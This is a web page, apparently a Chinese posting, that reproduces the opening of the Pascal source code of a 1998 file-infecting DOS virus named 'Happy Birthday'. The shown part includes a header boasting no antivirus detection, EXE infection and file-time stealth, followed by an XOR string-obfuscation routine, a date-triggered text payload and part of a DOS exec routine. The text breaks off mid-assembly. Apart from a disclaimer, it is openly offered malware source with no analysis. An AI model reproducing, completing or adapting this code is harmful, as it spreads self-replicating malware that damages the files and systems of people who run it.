|
Pascal编的蠕虫病毒原代码(1)
Pascal编的蠕虫病毒原代码 { Happy Birthday (c) 1998 WoRm I don't take responsibility for any damage caused by this virus. It was made for EDUCATIONAL USE ONLY. AVs : No detection Size : 8928 bytes Payload : yes - display text Stealth : yes - file time Infects : exe Encryption : no If you've got any question write to w0rm@freemail.c3.hu } {$I-} uses windos,dos; const virushossz=8928; dir:array[1..4] of string[10]=('g?Z`ido','g?Zmi}o`','g?Z`idox','g?Zmi} o`cf'); var exebuffer,virusbuffer:array[1..virushossz] of byte; regia:Word; regit:longint; fuck:word; disable:file; konyvt:string; eddig:byte; y,m,d,dow:word; Function Crypt(S : String) : String; {Encryption/Decryption of} Var {A string.} i : Byte; begin For i := 1 to Length(S) Do S[i] := Char(ord(S[i]) xor (i+3)); Crypt := S; end; Procedure MEGLEPETES; {Display text} begin GetDate(y,m,d,dow); if (m=6) and (d=22) then begin writeln('$MgwXP*Izgtpk3CzDz9'); writeln('$MD)XHY+z= <?:p=5''.!!:LsOs'); end; end; Function DosShell(command:String):Integer;Var {Maximize HEAP before exec} OldHeapEnd, NewHeapEnd: Word; Error:Integer; Begin Error:=0; If MemAvail<$1000 then Error:=8; If Error=0 then Begin NewHeapEnd:=Seg(HeapPtr^)-PrefixSeg; OldHeapEnd:=Seg(HeapEnd^)-PrefixSeg; asm mov ah,4Ah mov bx,NewHeapEnd mov es,PrefixSeg Int 21h jnc @EXIT mov Error,ax @EXIT: end; {asm} If Error=0 then begin SwapVectors; Exec(GetEnv('COMSPEC'),command); SwapVectors; asm
|